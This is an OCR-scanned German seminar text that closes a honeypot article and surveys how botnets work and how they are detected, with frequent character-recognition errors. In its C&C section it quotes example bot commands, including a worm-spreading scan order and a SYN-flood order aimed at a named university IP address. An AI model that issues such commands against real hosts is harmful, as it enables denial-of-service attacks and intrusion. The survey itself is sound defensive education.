Sobald er einmal in ein Honeynet eingedrungen, speichert es das gesamte Vorgehen und die
Funktionsweise der Werkzeuge die benutzt wurden ohne das der Angreifer etwas davon merkt.
Das macht den Gebrauch von Honeynets so effektiv. Man kann durch die wertvollen Informa-
tionen sehr gute Analysen durchfithren, mit denen Trends und auch Muster gefunden werden
konnen. Damit ist es sogar moglich Vorhersagen iiber Angriffsverhalten zu treffen oder auch
frithzeitig vor Angriffen zu warnen. Zusétzlich konnen Honeynets dazu benutzt werden um
neue Sicherheitstechniken zu testen. Das einzige was man tun muss, ist die neue Sicherheits-
methode auf einem Honeynet zu installieren und zu beobachten, ob im Falle eines Angriffs
diese durchbrochen werden kann.
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7 Zukunft von Honeypots

Obwohl es Honeypots schon eine ganze Weile auf dem Markt gibt, ist die Akzeptanz noch
nicht besonders groff. Eines der zu Grunde liegenden Probleme besteht darin, dass man sich
bis zum heutigen Zeitpunkt immer noch nicht dariiber einig ist, wie man einen Honeypot
genau definiert. Da Unternehmen somit nicht genau wissen welchen Benefit sie vom Einsatz
eines Honeypots zu erwarten haben, beschéftigen sie sich erst gar nicht damit. Daher ist die
wichtigste Aufgabe die Stiarken der Honeypots heraus zu arbeiten, sodass Unternehmen den
Vorteil von Honeypots erkennen und diesen auch zu ihren Gunsten nutzen. Dadurch wird die
Akzeptanz sicherlich zunehmen und damit der Nutzen einer Weiterentwicklung durch Sicher-
heitsexperten stark ansteigen, was wiederum die Entwicklung von Honeypots begiinstigt.
Doch leider ist die fehlende Einigkeit iiber die Definition nicht das einzige Problem von Ho-
neypots. Ein weiterer Nachteil besteht in der immer noch relativ schweren Bedienung. Heutige
Honeypots und im speziellen Forschungs- Honeypots haben meist eine uniibersichtliche Be-
dienungsoberfliche, so dass der Betrieb eines solchen Honeypot sehr schwierig und komplex
ist. Durch die schwierige Handhabung kommt es automatisch auch zu einer hoheren Fehler-
anfilligkeit aufgrund von Fehleinstellung durch den Benutzer. Des weiteren ist es mit einem
Honeypot noch nicht moglich mit anderen Sicherheitstechniken zu kommunizieren. Falls es
zu einem Angriff auf ein Honeypot kommt, bemerkt und registriert er diesen zwar, jedoch
werden die Informationen nicht an andere Sicherheitsprogramme weitergeleitet. Durch ei-
ne entsprechende Interaktion zwischen Honeypot und Sicherheitstechniken kénnten weitere
Angriffe schnell und ohne viel Aufwand vermieden werden. In Zukunft kénnten auch diese
Probleme durch eine Weiterentwicklung der Honeypot beseitigt werden.

FEine Prognose, die auch in dem Buch von Lance Spitzner vorgestellt wird, ist, dass Honey-
pots und im speziellen Forschungs- Honeypots noch viel Potenzial besitzen. Mit der bisherigen
Entwicklung hat man nur Ansétze fiir kiinftige Anwendungen geschaffen. Eine mogliche An-
wendung von Honeypots konnte in der Erkennung von Mustern bei Angriffen liegen. Somit
konnte durch Analysen der gesammelten Inforationen mogliche Muster erkannt werden um
damit frithzeitig vor Angreifern zu warnen. Eine weitere Anwendung ldge in der Speziali-
sierung auf Angreifer, die es auf hoch sensible Daten abgesehen haben. Ein mogliches Ziel
besteht auch darin, dass Honeypots nicht mehr fiir sich alleine arbeiten, sondern Koopera-
tionen zwischen mehreren in der Welt verteilten Honeypots geschlossen werden. Der Vorteil
besteht darin, dass die von jedem einzelnen Honeypot gesammelten Daten gemeinsam ana-
lysiert werden um damit erheblich genauere Schliisse zu ziehen. Dadurch entstiinden weitaus
bessere Schutzmechanismen.
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Botnetze

Markus Herhoffer

Das Phianomen der Botnetze stellt die Grundlage fiir eine Vielzahl an Bedrohun-
gen des Internetbetriebes wie Spam und Denial-Of-Service dar. Der vorliegende
Artikel bietet einen Uberblick iiber die Funktionsweise von Botnetzen, indem die
grundlegenden Elemente und Eigenschaften eines Botnetzes sowie dessen Funkti-
onsweisen vorgestellt werden. Verschiedene Methoden zum Auffinden, Analysieren
und Stoppen produktiver Botnetze werden erklért.

1 Einleitung

Das sténdige Wachstum des Internets wird begleitet von einem vermehrten Aufkommen an
kriminellen und destruktiven Energien, die in Form von rein destruktiven Vandalismus bis hin
zu organisierter Kriminalitéit zu finden sind. Das schon seit langem bekannte, jedoch wenig
erforschte Gebiet der Botnetze ist der Ausgangspunkt vieler kritischer Schadmechanismen
wie Spam, Distributed Denial of Service (dDoS) und Datenspionage.

Vinton Cerf stellte beim ,World Economic Forum® 2007 die These auf, dass bereits ein Vier-
tel aller ans Internet angeschlossener PCs Teil eines bosartigen Botnetzes sind [Foru07]. Im
SWorldwide Infrastructure Security Report* nennt Arbor Networks das Phidnomen der Bot-
netze die ,,alleinige und grofite Bedrohung fiir die Verfiigbarkeit von Netzdiensten und fiir die

betriebliche Sicherheit” [Netw07].

Dennoch konzentrieren sich die bisherigen sicherheitstechnischen Ansétze auf das Verhin-
dern, Filtern und Abwehren der von Botnetzen verursachten Angriffen. Nur wenige Ansétze
beschéftigen sich direkt mit der Grundlage und Funktionsweise der Botnetze.

2 Botnetze — Definition und Abgrenzung

Fin Botnetz ist eine Gruppe von individuellen Computersystemen, die ohne Kenntnis des
Nutzers mit einer Schadsoftware infiziert wurden und iiber diese von einem einzelnen Indivi-
duum ferngesteuert werden. Das infizierte Endsystem wird Zombie oder Bot genannt, seltener
auch Dmneﬁ Das Individuum, welches das Botnetz fernsteuert, wird Botmaster genannt. Als
Begriff fiir den Kommunikationskanal zwischen Botmaster und Botnetz hat sich C&C-Kanal
(Command and Control) etabliert [RZMTO06].

Eine 1:n Kommunikation zwischen Botmaster und Bots iiber einen C&C-Kanal ist das defi-
nierende Grundmerkmal eines Botnetzes. Zudem werden mit ,,Botnetze“ nur jene Strukturen
bezeichnet, deren intendierter Zweck das Durchfiihren schidlicher und krimineller Handlun-
gen ist. Letzten Endes sind Botnetze nur ein Werkzeug, mit dem Schaden angerichtet werden
kann, jedoch nicht muss.

1Seit dem Aufkommen des IRC-Clients , drone“ bezeichnet der Ausdruck in der Regel einen Bot, der fiir
Forschungszwecke absichtlich in ein Botnetz eingeschleust wurde.
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Strukturen dhnlicher Art, die wie ,,Folding@home* oder ,,Mersenne Prime Search® friedlichen
und sinnvollen Diensten nachgehen, werden nicht als Botnetz klassifiziert.

Die heute anzutreffenden bosartigen Bots entwickelten sich aus den klassischen IRC-Bots der
frithen 1990er Jahre. Eggdrop war einer der ersten solcher Bots, die den IRC-Benutzer im Chat
unterstiitzen sollten, indem sie Funktionen wie Datenbankabfragen durchfiihrten oder Hilfe
anboten. Ausgehend von der Modularitéat von Eggdrop entwickelten sich erste Botprogramme,
mit denen sich bosartige Absichten umsetzen lieflen. Erste Attacken beschrinkten sich aber auf
DoS im IRC-Bereich, etwa durch automatisiertes ,,Flooding®. Jene Bots wurden im Verlauf
der Zeit weiterentwickelt, die Modularitdt von Eggdrop und die Steuerung iiber TRC sind
jedoch beibehalten worden [CoJMO6].

Inzwischen werden Botnetze zum einen fiir reinen Vandalismus (,,Script-Kiddie®), zum an-
deren auch vermehrt fiir kommerziellen Betrug, Erpressung, Spam und Phishing verwendet
CoJMO06]. Zudem ist eine Gemeinschaft zu erkennen, die in Entwicklung und Weiterent-
wicklung der Schadsoftware eng zusammenarbeitet. Sofern Quellcodes der Bots offentlich
zuginglich sind, zeigen sie eine Vielzahl an Benutzersignaturen in Form von szenetypischen
Pseudonymen. Code wird oftmals wiederverwendet, der Quellcode enthilt Kommentare, in
denen die urspriingliche Quelle des Quellcodes angegeben ist. Oftmals sind dies bereits vor-
handene Schadsoftware wie Computerviren, Wiirmer oder Trojaner.

2.1 Verbreitete Botnetz-Systeme

Die Klassifizierung vorhandener Bots gestaltet sich schwierig. Vorhandene Botsoftware wird
oft mehrmals umgeschrieben, erweitert und modifiziert; mitunter sind bis zu 4 000 Versionen
einer Botvariante bekannt (SDBot und Agobot).

Hier soll eine Auswahl der am meisten rezipierten und aktuell verbreiteten Bot-Gruppen
aufgefithrt werden:

2.1.1 Agobot/Phatbot/Forbot/XtremBot

Der Kern fast aller verbreiteten Bots liegt in dem 2004 zum ersten Mal erschienen Agobot,
sein Programmierer wurde noch im selben Jahr verhaftet. Der Bot ist in C++ geschrieben
und bietet eine modulare und abstrakte Softwarearchitektur. Der Quelltext ist unter der
GPL freigegeben, wenngleich auch keine zentrale Bezugsquelle zur Verfiigung steht. Agobot
wurde iiber die Jahre mehrmals erweitert, das aktuelle Quellcodepaket hat mit allen Modulen,
Erweiterungen, Zusatzwerkzeugen und alternativen Implementierungen eine Gréfie von rund
140 MB2. Agobot benutzt libpcap [BHKWO05] zum Abhéren von Netzwerkverkehr und bietet
Unterstiitzung fiir PCRE (Perl Compatible Regular Expressions) und NTFS ADS (Alternate
Data Streams) sowie Funktionen eines klassischen Rootkits. Neue Versionen sind in der Lage,
das Auslesen der C&C-Parameter zu verhindern, indem die Software Debugger und Virtuelle
Maschinen wie SoftICE oder VMware erkennt [BHKWO05]. Agobot bietet Verschliisselung
der C&C-Kommunikation mit SSL und ist in einer speziellen Version fiir die Infizierung von
Linux-Systemen verfiigbar [CoJMO6].

2.1.2 SDBot/RBot/RBot-GR/...

SDBot und Derivate sind in C geschrieben und unter der GPL verdtffentlicht. Der Quellcode
ist klein und iibersichtlich gehalten, wenngleich wenig abstrahiert und ohne Unterstiitzung fiir

2Eine Vielzahl an Quellcodepaketen ist in einschligigen Peer-to-Peer-Netzen verfiigbar. Alle Angaben bezie-
hen sich auf die Version ,agobot.rar* (MD5: 4a268c7e¢936116a31aale24d091{75¢6)
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Modularitét. Schadfunktionen sind im Grundsystem nicht implementiert, nur Grundfunktio-
nen zum Verarbeiten der C&C-Befehle sind vorhanden. Das Hinzufiigen von Schadfunktionen
erfordert jedoch nur ein minimales Andern des Quellcodeﬁ. SDBot nutzt fiir die Primérin-
fektion neben Liicken in Windows-Betriebssystemen und Peer-to-Peer-Software auch Hinter-
tiiren, die von anderer Malware hinterlassen wurden [CoJMO06|. Mehr als 4 000 Variationen
sind bekannt. Der inzwischen mehrfach iiberarbeitete Quelltext lédsst Riickschliisse auf eine
Autorenschaft von mehr als 100 Programmieren zu.

2.1.3 Storm Worm/CME-711/Troj.Dorf/Win32.Nuwar/...

Mit einem FuBlabdruck (genaue Definition unter|6.1) von geschétzten 1 Mio. infizierten Syste-
men4‘ ist das Storm-Botnetz das bislang grofite je observierte. Die Anatomie der zugehorigen
Botsoftware CME-711 ist nur wenig erforscht, eindeutig zuweisbare Quellcodes sind nicht 6f-
fentlich zugénglich. Das Strom-Botnetz war im Laufe des Jahres 2007 fiir verschiedene dDoS-
Attacken mit kommerziellem Interesse verantwortlich, iiber die in den Fachmedien ausfiihrlich
berichtet wurde.

2.1.4 Clickbot.A

Clickbot.A ist bzw. war ein kommerziell erwerbliches oder mietbares, dennoch illegales und
schédliches Botnetz-System. Das System ist darauf optimiert, iiber HT'TP Benutzer-Klicks
auf kommerzielle Anzeigen und Links zu tétigen — hauptséchlich zur Schidigung und Kom-
promittierung des Google-Angebotes 7,AdSense‘E und zur Verbesserung des Googlerankings
bestimmter Webangebote. Das Botnetz mit einem Fulabdruck von 100 000 Bots wurde im
Mai 2006 entdeckt. Die Firma Google investierte erheblichen Forschungsaufwand in Analyse
des Botnetzes, um einen effektiven Filter fiir die Klick-Simulation einsetzen zu kénnen.

Der Bot wurde als BHO (Browser Helper Object) fiir ,Microsoft Internet Explorer* imple-
mentiert, als C&C-Kanal diente HT'TP. Die Verbreitung der Botsoftware erfolgte mithilfe von
»Social Engineering® und durch Ausnutzen von Sicherheitsliicken in der Software ,,Microsoft
Internet Explorer”. Die Administration erfolgte iiber ein dezentral verteiltes Administrations-
system geschrieben in PHP mit MySQL als Backend. Der Quellcode des Administrationssy-
tems konnte beschlagnahmt werden und wurde veroffentlicht [DaSt07].

Clickbot.A erzeugte erheblichen wirtschaftlichen Schaden [DaSt07].

3 Funktionsweise

Der Lebenszyklus eines Botsystems lésst sich in mehrere Phasen und Rollen einteilen. Nach
dem Einschleusen in das Opfersystem (Primére Infektion) erfolgt das Nachladen der eigent-
lichen Botsoftware (Sekundére Infektion), danach wird iiber einen C&C-Kanal Kontakt zum
Botmaster aufgenommen, dessen Befehle dann umgesetzt werden.

3Eine Vielzahl an Quellcodepaketen ist in einschligigen Peer-to-Peer-Netzen verfiigbar. Alle Anga-
ben beziehen sich auf die Version ,sdbot-05b-synflood-svchost+md5_cracker-cilin(internal).rar* (MD5:
7c46294414fb302055e698aff41bd347)
“http://www.networkworld.com /news /2007 /080207-black-hat-storm-worms-virulence.html
https://www.google.com/adsense/
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Abbildung 1: Topologie eines aktiven Botnetzes

3.1 Einschleusen in das Opfersystem

Die Aquise neuer Opfersysteme erfolgt im Umfeld von Botnetzen nicht unkontrolliert wie
bei herkbmmlichen Computerviren. In der Regel werden bestehende Bots von einem Bot-
master angewiesen, neue Opfersysteme ausfindig zu machen und zu infizieren. Dabei werden
Sicherheitsliicken im System des Opfers ausgenutzt.

Der Verteilmechanismus von Botnetzen ist eines der Hauptgriinde fiir das ,,Hintergrund-
rauschen® (Netzwerkverkehr, der von Malware-Netzwerkscannern verursacht wird) im Inter-
net, der hauptséchlich an den Ports 445/TCP, 139/TCP, 137/UDP und 135/TCP auftritt.
Nach Messungen des ,,Honeynet Projects“ entfallen 80% des gemessenen passiven Netzwerk-
verkehrs an einem durchschnittlichen Internetanschluss fiir Endverbrauchen auf diese Ports
[BHKWO05]. Damit verbunden sind bekannte Sicherheitsliicken des Betriebssystems ,,Micro-
soft Windows“ in den Versionen NT bis XP. Verbreitete Angriffspunkte sind zudem Sicher-
heitsliicken in Netzwerkspielen, in Peer-to-Peer-Programmen und in Email-Clients. Zudem
ist zu beobachten, dass Bots die Funktionen anderer Malware ausnutzen, um sich auf dem
Opfersystem zu installieren [CoJMO06]. Neben dem Ausnutzen von Sicherheitsliicken wer-
den auch Methoden des ,,Social Engineering* angewandt wie das Auffordern zum Ausfiih-
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ren kompromittierter Email-Anlagen oder das freiwillige Herunterladen und Ausfiihren des
Bot-Schadprogrammes.

Typischerweise fithrt ein infiziertes System sofort einen Download aus. Der URI des Down-
loads ist in der Binérdatei der priméren Infektion entweder direkt oder mittelbar gegeben.
Ubliche Protokolle sind Trivial File Transfer Protocol (TFTP, [Soll92]), File Transfer Pro-
tocol (FTP, [PoRe85]), Hypertext Transfer Protocol (HTTP, [FGMF199]) oder CSend, ein
Protokoll zum Senden von Dateien an IRC-Nutzer. Letzteres findet besonders im Kontext
von IRC als C&C-Kanal Verwendung. Die Software, mit der das System infiziert wurde, ent-
halt in der Regel noch keine Funktionalitit zur Partizipation in einem Botnetz [RZMTO06].
Nach dem Download wird die heruntergeladene Bindrdatei ausgefithrt und im Betriebssys-
tem so registriert, dass sie bei dem Systemstart automatisch gestartet wird. Typischerweise
dienen bereits vorhandene Bots als Server fiir diese sekundéren Bindrdateien [RZMT06], teil-
weise werden auch auf andere Wege kompromittierte Webserver oder kostenlose Anbieter von
Webspeicherplatz missbraucht [BHKWO05].

Agobot enthélt beispielsweise nach der priméren Infektion nur 40 sogenannte ,,Commands* ‘6,
die er ferngesteuert ausfithren kann. Diese decken ausschliefflich die Bereiche Kommunikation
iiber IRC und das Herunterladen weiterer Komponenten ab. Somit muss jegliche Schadfunk-

tion nachtréglich durch das sekundére Bindrpaket hinzugefiigt werden.

Die Weiterentwicklung von Agobot, bekannt unter dem Namen Phatbot, bietet auch schon
nach der Primérinfektion Funktionen zum Ausfiihren von dDoS-Attacken und zum Ausspahen
von Daterﬁ. Die Binérdatei kann somit schon vorkonfiguriert werden, schidliche Aktivitdten
auszufiihren, ohne dass ein Kontrollbefehl aus einem C&C-Kanal nétig ist.

3.2 C&C-Kanal

Als C&C-Kanal zur Steuerung der Bots werden verschiedene Protokolle verwendet. Weit
etabliert ist das IRC-Protokoll. Durch die vermehrte Verbreitung von Peer-to-Peer-Systemen,
die in Form von Chat-Spezifikationen auch frei definierbare Anweisungen enthalten kénnen,
werden auch Protokolle wie e2k, Gnutella oder FastTrack beliebt. Auch die Kommunikation
iiber (teilweise verschliisselte) HT'TP-Verbindungen konnte beobachtet werden [Netw07].

Vereinzelt erlaubt die modulare Struktur der Bot-Programme, auf eine Vielzahl verschiedener
Protokolle zuzugreifen. Der 2003 erschienene SDbot war etwa in der Lage neben IRC auch
etablierte Peer-to-Peer-Protokolle als C&C-Kanal zu verwenden [CoJMOG6].

3.2.1 IRC

Trotz neuer Entwicklungen stellt die Kommunikation iiber IRC den am weitesten verbrei-
teten Kommunikationsweg dar. Begiinstigt wird dies durch die Flexibilitdt des Protokolls
sowie durch das Vorhandensein freier Implementierungen, die fiir die Programmierung der
Schadsoftware verwendet werden kénnen.

Im typischen Szenario betreibt der Botmaster einen IRC-Kanal auf einem Server, zu dem sich
die Bots automatisch verbinden. Der IRC-Kanal ist zumeist passwortgeschiitzt. Benutzerna-
me, Passwort, Channel-Name und Adresse des Servers sind fest in die bindre Schadsoftware
eingebunden. Zumeist werden dynamische URI verwendet, um bei Bedarf den Server wechseln
zu konnen®

Sdokumentiert in /doc/commandref.html des Quellcode-Paketes (siche[2)

"dokumentiert in /doc/!NEW /Command%20Reference.htm des Quellcode-Paketes (siche 2)

Shttp://www.cyber-ta.org/releases/malware-analysis/public/ listet tagesaktuell die Daten von C&C-Kanélen
eingefangener und automatisch analysierter Bot-Software.
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Um erfolgreich eine Verbindung mit dem IRC-Channel herstellen zu kénnen, ist typischerweise
ein nach einem speziellen Algorithmus geformter Benutzername sowie das richtige Ubermitteln
des Passwortes iiber den IRC-eigenen PASS-Befehl nétig [RZMT06]. Das IRC-Protokoll sieht
keine Verschliisselung vor, daher konnen alle Zugangsdaten iiber herkémmliches Netzwerk-
Sniffing ermittelt werden.

Nach dem erfolgreichen Authentifizieren sendet der IRC-Server dem Bot die Nachrichten
RPL_ISUPPORT, RPL_MOTDSTART, RPL_MOTD, RPL_ENDOFMOTD bzw. ERR_NOMOTD [OiRe93]. Uber
RPL_MOTD konnen bereits erste Befehle an den Bot iibermittelt werden, ohne dass dieser einen
Kanal betritt. So kann etwa ein neuer Kanalname oder ein alternativer Server angegeben
werden.

Daraufhin erfolgt iiber /JOIN #Kanalname das eigentliche Einloggen. Da ein Botmaster in
der Regel nicht und wenn, dann nur &duflerst kurz, den Channel personlich betritt, dient
die Uberschrift (topic) des IRC-Kanals der Befehlsiibermittlung. Der Bot parst nach dem
Betreten RPL_TOPIC und fithrt den Befehl umgehend aus. RPL_TOPIC folgt in den verbreiteten
Bots einem einfachen Syntax bestehend aus einem Methodennamen und Parametern. Ein
RPL_TOPIC der Gestalt

.advscan lsass 200 5 0 -r -s

weist die Bots etwa an, sich selbst weiter iiber die LSASS Sicherheitsliicke zu verbreiten, indem
200 Threads mit einer Verzogerung von 5 Sekunden ohne Zeitlimit (0) nach verwundbaren

Opfern suchen [BHKWO05].

Anfang der 1990er wurden in erster Linie 6ffentliche ICR-Kanile als C&C-Kanal missbraucht.
Fiir die Administatoren 6ffentlicher IRC-Server war Missbrauch dieser Art ein erhebliches Si-
cherheitsrisiko. Der Einsatz von Filtern und anderen Analysemethoden war weit verbreitet.
Moderne Beobachtungen zeigen jedoch, dass aktuelle Botnetze nahezu ausschlielich indi-
viduell modifizierte IRC-Server-Software einsetzen. Diese modifizierten IRCd halten sich in
aller Regel nicht an die in RFC 1459 [OiRe93| spezifizierten Eigenschaften. Um die Anzahl
der Bots im Botnetz gegeniiber eingeschleusten Dronen unzugéinglich zu machen, wird in
der Regel keine Benutzerliste ausgegeben, wie in der Spezifikation des TRC-Protokolles ge-
fordert [BHKWO5]. Fiir die Kommunikation nicht notwendige Teilmengen der Spezifikation
werden entfernt. Besonders der wegen der freien Verfiighbarkeit seiner Quellen beliebte IRCd
,,unrealircd“q wird fiir den Einsatz als C&C-Kanal stark modifiziert. In einschlédgigen Peer-
to-Peer-Netzen sind Versionen des IRCd aufgetaucht, die bis zu 80.000 User und damit 80.000
Bots pro Kanal zulassen [BHKWO05]. Diese Performance wird erreicht, indem auf Broadcast-
Messages fiir JOIN, PART und QUIT verzichtet wird. Zudem werden die nach Spezifikation
OiRe93| eigentlich obligatorischen Nachrichten LUSERS und RPL_ISUPPORT nicht umgesetzt,
um die externe Analyse des C&C-Kanals zu erschweren. Beobachtet werden konnte auch die
zusétzliche Implementierung von Mechanismen zur Sicherung des Botnetzes. So lidsst der mo-
difizierte IRCd etwa nur Benutzernamen bestimmten Syntaxes oder aus einem bestimmten
Netzbereich zu [BHKWO05].

Aktuelle Beobachtungen zeigen zudem, dass aktuelle Botnetze zusétzliche Verschliisselung
und Sicherheitsmechanismen einfiihren, der IRC-Kanal dient somit nur als Tunnel [Netw07].

Die Steuerung eines Botnetzes iiber einen IRC-Kanal stellt eine zentrale Art der Kommuni-
kation dar. Wenn diese zentrale Schnittstelle kompromittiert ist, ist das Botnetz nicht mehr
befehlbar. Aus Sicht der Angriffsabwehr ist dies von Vorteil. Aus Sicht des Botmasters ergibt
sich aus diesem zentralen Einsatz eine geringe Latenz der Kommunikation. Der Botmaster
hat die Kontrolle {iber den IRC-Server, was bei einem dezentralen Ansatz nicht gegeben ist

CoJMOG].

“http://www.unrealired.com/
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3.2.2 P2P

Der Einsatz von Peer-to-Peer-Netzwerken als C&C-Kanal verfolgt im Gegensatz zum klas-
sischen Ansatz des IRC-Kanals eine dezentrale Strategie. Die Kommunikation {iber P2P-
Systeme ist in der Regel selbst mit hohem Aufwand nicht zu unterbrechen oder zu kom-
promittieren. Das Zuriickverfolgen des Datenverkehrs gestaltet sich komplex. Nachteilig aus
Sicht des Botmasters ist die Indeterministik des Kanals sowie die fehlende Kontrolle. Fiir
P2P-Systeme bestehen bereits Mechanismen zur Anonymisierung des Datenverkehrs, die vom
Botmaster genutzt werden kénnen [CoJMOG6].

P2P-Systeme als C&C-Kanal sind in der Literatur wenig diskutiert.

3.2.3 HTTP

Insbesondere Botsysteme, die auf das Ausfithren von schidlichen Aktionen im WWW opti-
miert sind (etwa Simulieren von Klicks auf kommerzielle Anzeigen, Manipulation von Internet-
Casinos und Web-Spielen), verwenden als C&C-Kanal HTTP. Beispiele sind ,,Clickmaster*
und ,,Clickbot.A“ [DaSt07]. Sie werden in der Regel als BHO (Browser Helper Objects) der
Software ,,Microsoft Internet Explorer” implementiert. BHO verfiigen durch die Einbindung in
den Webbrowser ohne groflen Implementierungsaufwand iiber Zugriff auf WW W-Ressourcen.

3.2.4 Indeterministische Kommunikation

Nach dem Vorbild von bestehenden vollstéindig dezentralen P2P-Systemen wére auch eine
komplett dezentrale Kommunikation zwischen den Bots denkbar, die ohne den Einsatz alle-
gemein verbreiteter und spezifizierter Protokolle stattfindet. In diesem Szenarium koénnte ein
Bot aktiv nach weiteren Mitgliedern seines Netzes scannen und jenen gefundenen Bots eine
verschliisselte Nachricht senden. Die Latenz ist sehr hoch. Ein System dieser Art konnte noch

nicht in produktiver Form beobachtet werden [CoJMO06].

3.2.5 Befehlsiibermittlung

Die Ubermittlung der Befehle von Botmaster an die einzelnen Bots erfolgt in einer nicht
allgemein spezifizierbaren Syntax. Allgemeine Aussagen iiber deren Gestalt lassen sich nicht
tatigen. Der verbreitete Agobot verwendet die Syntaxform

.<befehlsklasse>[.<unterbefehl>] <Parameter>x*.
So weist der Befehl
.ddos.syn 129.13.182.1 21 200

die Bots an, 200 Sekunden lang den Webserver der Universitéit Karlsruhe auf Port 21 mit
DoS-Attacken zu schiadigen.

4 Anwendungs- und Befehlsklassen

Botnetze sind in erster Linie ein Werkzeug, welches als Grundlage zur Ausfithrung potentiell
krimineller und schédlicher Aktionen verwendet werden kann. Kurz soll auf die verschiedenen
Gefahrenpotentiale in der Reihenfolge ihrer Hiufigkeit eingegangen werden:
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4.1 dDoS

Das ,,Distributed Denial Of Service“ ist die hdufigste Bedrohung, die von Botnetzen aus-
geht. Nach Erhebungen von [Netw07] betétigten sich 71% aller beobachteten Botnetze in
dDoS-Angriffen. Ein Botmaster kommandiert in diesem Fall allen Bots, iiberméfiigen Netz-
werkverkehr an ein definiertes Ziel zu schicken. Der angegriffene Server ist auf Grund der
Vielzahl der Anfragen nicht in der Lage, seinen Dienst ordnungsgeméfl anzubieten.

Untersuchungen zeigen, dass die Mehrzahl der Attacken aus Botnetzen aktuell iiber UDP
stattfinden, die Attacken auf Anwendungsschicht oder auf TCP sind riicklaufig [Netw07].

DDoS ist somit die primére Bedrohung die von Botnetzen und nur von Botnetzen ausgeht.

4.2 Spamming

64% aller beobachteten Botnetze versenden Email-Spam [Netw07]. Dies gescheit meist iiber
einen SOCKS v4/v5 Proxy [LGLKT96] auf dem kompromittierten System [BHKWO05]. Ago-
bot ist zudem in der Lage, einen GRE-Tunnel (Generic Routing Encapsulation von Cisco
Systems, [HLFT94]) aufzubauen, durch den auf einfache Weise Email-Protokolle gekapselt
werden konnen [CoJMO06]. 34% aller beobachteten Botnetze waren in der Lage, solche offene
Proxies fiir das Versenden von Spam-Email und anderen Aktivitéiten bereitzustellen [Netw07].

4.3 Datendiebstahl

Finige Bots sind in der Lage, wie klassische Trojanische Pferde Informationen aus dem Sys-
tem des Opfers zu aggregieren und an den Botmaster zu senden. Dies sind insbesondere auf
dem System gespeicherte Email-Adressen, Passworter und weitere Identitétsdaten (16% der
Botnetze [Netw07]). Zudem stellen Botnetze verschiedene Elemente fiir Phishing bereit (37%
aller Botnetze).

4.4 Sonstiges

Da Botnetze iiber eine Vielzahl unterschiedlicher IP-Adressen aus dem Pool regulérer Internet
Service Provider (ISP) verfiigen, werden Botnetze vermehrt fiir kommerziellen Betrug ver-
wendet. Betroffen sind hier in erster Linie Anbieter von Onlinewerbung (etwa Google AdSense
DaSt07]). Die Bots generieren in diesem Fall virtuelle Klicks auf die Anzeigen kommerzieller
Anbieter. Auch Anbieter von Online-Abstimmungen, Online-Spielen und vermehrt kommerzi-
elle Internet-Kasinos und Anbieter von Pokerspielen sind von dieser Art des Betruges betroffen

[Netw07].

Botnetze waren in der Vergangenheit zudem oftmals Ausgangspunkt fiir das Verbreiten re-
guldrer Malware.

5 Aufspiiren von Botnetzen

5.1 Virenscanner

Das Erkennen der Botsoftware auf einem Opfersystem erfolgt nach den selben Strategien,
die auch fiir andere Schadsoftware angewandt werden. Alle kommerziellen Virenscanner sind
in der Lage, ihnen bekannte Botsoftware zu erkennen und zu loschen. Auf dieses bekannte
Verfahren soll hier nicht weiter eingegangen werden.
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5.2 Honeypots/-nets und Malware-Collection

Das kontrollierte Installieren potentiell infizierbarer Opfersysteme und das Analysieren der
dann auftretenden Infektion wird im weitesten Sinne als Malware-Collection mittels Honey-
pots bezeichnet. Steht gleich ein gesamtes Netzwerk solcher Honeypots zur Verfiigung, spricht
man von Honeynets [BHKWO05]. Der Einsatz und Betrieb von Honeypots/-netzen ist komplex
und vielschichtig und soll an dieser Stelle nicht abgehandelt werden.

Malware-Collection bezeichnet allgemein das Isolieren von Malware, insbesondere von Bot-
software.

Bei beiden Ansétzen gilt es in erster Linie, den C&C-Kanal zu isolieren; gegebenenfalls mit
den notigen Parametern fiir Login und Kommunikationsverschliisselung. Dies geschieht ent-
weder durch Abhéren des Netzwerk-Verkehrs, der von einem infizierten System erzeugt wird
oder durch Analysieren der Bindrdatei. Da insbesondere der Login iiber IRC generell unver-
schliisselt stattfindet, sind die Login-Parameter in der Regel in einfacher Weise zu gewinnen

BHKWO5].

5.3 Dronen

Kontrollierbare Software, die das Verhalten von Bots in einem Botnetz simuliert um Informa-
tionen zu aggregieren, nennt man Drone. Jene Dronen-Software wird zur Analyse der Grofie
von Botnetzen herangezogen (siehe 6.2.1).

5.4 IRC-basierte Erkennung von Botnetzen

Durch den Einsatz von Filtern kénnen potentielle IRC-C&C-Kanile ausfindig gemacht wer-
den. Eine einfache Methode bildet das Filtern des Netzwerkverkehrs auf TCP Port 6667 nach
bekannten Botnetz-Befehlen. Beachtet werden muss jedoch, dass die Befehle in unterschiedli-
chen Botnetzen sehr variabel sind und auch andere Ports aufler Port 6667 verwendet werden

konnen [CoJMO06].

Eine andere Methode bildet das Suchen nach charakteristischen Mustern in der TRC-Kom-
munikation. In der Regel sind Bots fiir eine lingere Zeit ,,stumm®, um dann sehr schnell auf
und in grofler Anzahl auf einen Befehl des Botmasters zu antworten. Diese Antworten sind
schneller als die eines menschlichen Benutzers. Systeme dieser Art sind generell erfolgreich
im Finden von Botnetzen, leiden jedoch unter einer hohen Fehlerquote [Raci04].

Generelle und allgemeingiiltige Charakteristika der Botnetz-Kommunikation iiber IRC sind
jedoch nicht zu erkennen [CoJMO6].

5.5 Kombinationen und Datamining

Alle bisher bekannte Systeme zur Erkennung von Botnetzen leiden unter einer hohen Miss-
erfolgsrate. Entweder kann a priori nur eine kleine Klasse von Botnetzen iiberhaupt erkannt
werden oder die Erkennungsdichte ist sehr gering. Neue Ansétze schlagen eine Kombination
verschiedener Ansétze vor.

Bereits vorhandene Daten konnen nach charakteristischen Eigenschaften und Merkmalen ei-
nes Botnetzes untersucht werden. Merkmale sind etwa das vermehrte Aufkommen von Scan-
ning an sonst wenig genutzten TCP Ports, das Auslesen und Analysieren von DNS-Caches
(siehe 6.2.2) sowie das Analysieren von versendeten Binédrdateien bekannter Botsoftware. Ei-
ne Kombination dieser Methoden kann fiir ein umfassendes Warnsystem verwendet werden

CoJMOG6].
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6 Analysefaktor Botnetz-Gr6Be

Wihrend in fritheren Jahren Botnetze mit 80 000 bis 140 000 Bots als gefihrlich eingestuft
wurden, wird in Berichten der letzten Jahre in erster Linie vor kleinen Botnetzen mit eini-
gen Hundert Bots gewarnt [Netw07]. Die Grofie der Botnetze in Form einer Abschétzung der
durchschnittlich aktiven Bots ist daher ein wichtiges Charakteristikum, um das Gefahrenpo-
tential eines Botenetzes einschétzen zu konnen.

Die Entwicklung hin zu kleineren Botnetzen hat mehrere Griinde. Zum einen sind kleine
